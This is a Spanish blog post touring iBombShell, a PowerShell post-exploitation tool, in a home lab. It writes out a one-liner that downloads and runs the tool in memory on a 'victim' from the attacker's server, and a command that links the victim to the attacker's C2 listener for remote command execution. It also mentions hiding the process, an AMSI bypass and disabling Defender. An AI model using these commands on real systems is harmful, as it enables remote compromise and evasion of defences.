Jugando con iBombShell - PostExplotación - BoomerNiX

martes, 22 de enero de 2019

Jugando con iBombShell - PostExplotación

Vamos a conocer la herramienta iBombShell, que fue presentada en la Black Hat de Londres por mis compañeros Pablo González y Alvaro Nuñez el año pasado, y que ahora tengo el placer de "meter mano". La herramienta está orientada a la post-explotación. Aquí dejo el enlace al repositorio de GitHub.

Este post será simple para ver de forma "superficial la herramienta. Tiene 2 formas de correr (“EveryWhere” y “Silently”), Empezaremos por la primera opción.

iBombShell EveryWhere

Podemos hacer el uso de su GitHub para descargarnos directamente la consola, aquí lo que voy a hacer es descargármelo a mi servidor local, esto me ayudará si en algún momento quiero agregar o cambiar cierto código que no esté en el GitHub.

Voy a utilizar Apache para levantar un servidor web (vamos a tirar por http por hacerlo rápido), en la siguiente imagen se puede ver como tengo en mi sistema iBombShell, y en el directorio adecuado.


Para descargarlo y ejecutarlo en memoria del sistema “víctima” (aquí suponemos que ya tenemos el control de un equipo), ejecutamos el siguiente comando:

IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.42.137/ibombshell/console’)

Y ahora para empezar iBombShell ejecutamos: console. Ya tenemos el prompt.


Ahora podemos ver los comandos disponibles:


Las funciones cargadas:


En la captura de arriba se ven las funciones cargadas "por defecto", pero podemos cargar más para hacer uso de ellas, después de agregar 2 (system/pshell y scanner/tcp-scan) se pueden ver listadas:


Utilicemos un escáner, con un puerto que sabemos que está abierto y otro cerrado. (Se podía hacer uso de un rango también):


Podemos ver también el uso de la función getprovider:


iBombShell Silently

Y como no me va a gustar esta opción, que entra en juego Python. Lo primero que haremos es ejecutar iBombShell C2:


Los comandos que tenemos disponibles son los siguientes:


Cargamos y configuramos el listener:


Y lanzamos el módulo con run, lo que pondrá nuestra máquina a la escucha (en este caso en el puerto 6666). Ahora en la máquina “víctima” ejecutamos el siguiente comando:

IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.42.137/ibombshell/console’)

Como se puede ver, el mismo comando anterior, y ahora ejecutamos con la opción Silently para que se conecte al sistema remoto:

console -Silently -uriConsole http://192.168.42.137:6666

Dejo una captura de la ejecución del comando. Para que la víctima no tenga constancia del proceso, se debe ejecutar en modo oculto y que se quede en el background, pero para hacer pruebas no es necesario.


En nuestra máquina (atacante) obtendremos un warrior:


Podemos utilizar el comando warriors para ver los que tenemos disponibles:


A través del warrior se establece la comunicación del sistema del atacante con el de la víctima, para probarlo, vamos a probar a ejecutar un comando a través del warrior, configuramos el módulo:


Y al lanzarlo obtenemos los resultados que se ven en la siguiente captura:



En la rama Dev se está trabajando en una nueva versión, donde se muestra más información acerca de los warriors.


Además de agregar nuevas funcionalidades, como el  amsi bypass o desactivar el análisis en tiempo real de Windows Defender.

Aquí no se ha visto el tema de "UAC Bypass" ya que está bien detallado en distintos posts en elladodelmal, por ejemplo, Mocking Trusted Directory UAC Bypass en iBombshell.


Una herramienta de gran utilidad que tiene mucho margen de crecimiento. Hasta la próxima.

No hay comentarios:

Publicar un comentario